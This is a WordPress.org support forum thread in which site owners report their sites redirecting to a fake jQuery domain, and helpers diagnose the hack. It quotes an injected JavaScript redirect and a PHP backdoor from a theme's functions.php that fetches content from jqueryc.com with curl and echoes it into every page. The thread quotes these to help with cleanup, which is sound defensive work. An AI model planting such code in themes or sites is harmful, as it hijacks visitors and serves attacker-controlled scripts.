WordPress.org

Support

Support » How-To and Troubleshooting » URL suddenly redirecting to JQuery Website

URL suddenly redirecting to JQuery Website

  • MrParsons

    @mrparsons

    Sometime in the last few days, the URL of my site has decided to redirect to a JQuery site! I haven’t made any changes and have tried a server restore…

    My site is http://alexparsonsmusic.com

    Any help would be much appreciated!!

Viewing 8 replies - 1 through 8 (of 8 total)
  • curtismchale

    @curtismchale

    I’d say you got hacked. When I quickly stop the page and view source I see this code.

    <script type="text/javascript">
    
    		window.top.location.href = "http://www.jqueryc.com";
    
    	</script>

    That is doing the redirect and while the site may have jQuery in the URL that’s not a site from the people that write the jQuery library.

    The easiest way for you to clean it up is to pay for Sucuri. For 89.99 they’ll monitor the site for a year and clean up the hack.

    http://sucuri.net/

    I know if you were paying me to do it, you’d just barely get an hour of my time at that price.

    MrParsons

    @mrparsons

    I spotted that as well… Can I not just delete the code myself?

    Moderator Andrew Nevins

    @anevins

    Forum moderator

    MrParsons, you can resolve this yourself by following Codex’s guidelines.
    Codex was built by forum volunteers for these situations.

    Further references from Jan Dembowski on thread http://wordpress.org/support/topic/hacked-wordpress-1?replies=5

    MrParsons

    @mrparsons

    Thanks Andrew… I’ll check through the guidelines.

    I’m generally ok to work things through myself… However long they might take (usually they take me a long time)!

    curtismchale

    @curtismchale

    I’m sure you could delete it yourself, but the problem may be bigger. There may be issues in multiple files. I’ve always found that Sucuri is worth my time and my clients time since they will clean up and scan all the time.

    Hey please help
    my blog
    http://www.blogginglab.net/
    is redirecting to jquerry.com. I have used broadway theme. Please help me if anyone got the same theme and same problem.
    Thanks in advance

    It doesn’t seem to be redirecting at the moment. Have you changed theme?

    The solution is to remove following line from function.php

    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

    I described it in details at my blog – WordPress jqueryc.com problem

Viewing 8 replies - 1 through 8 (of 8 total)
  • The topic ‘URL suddenly redirecting to JQuery Website’ is closed to new replies.
Skip to toolbar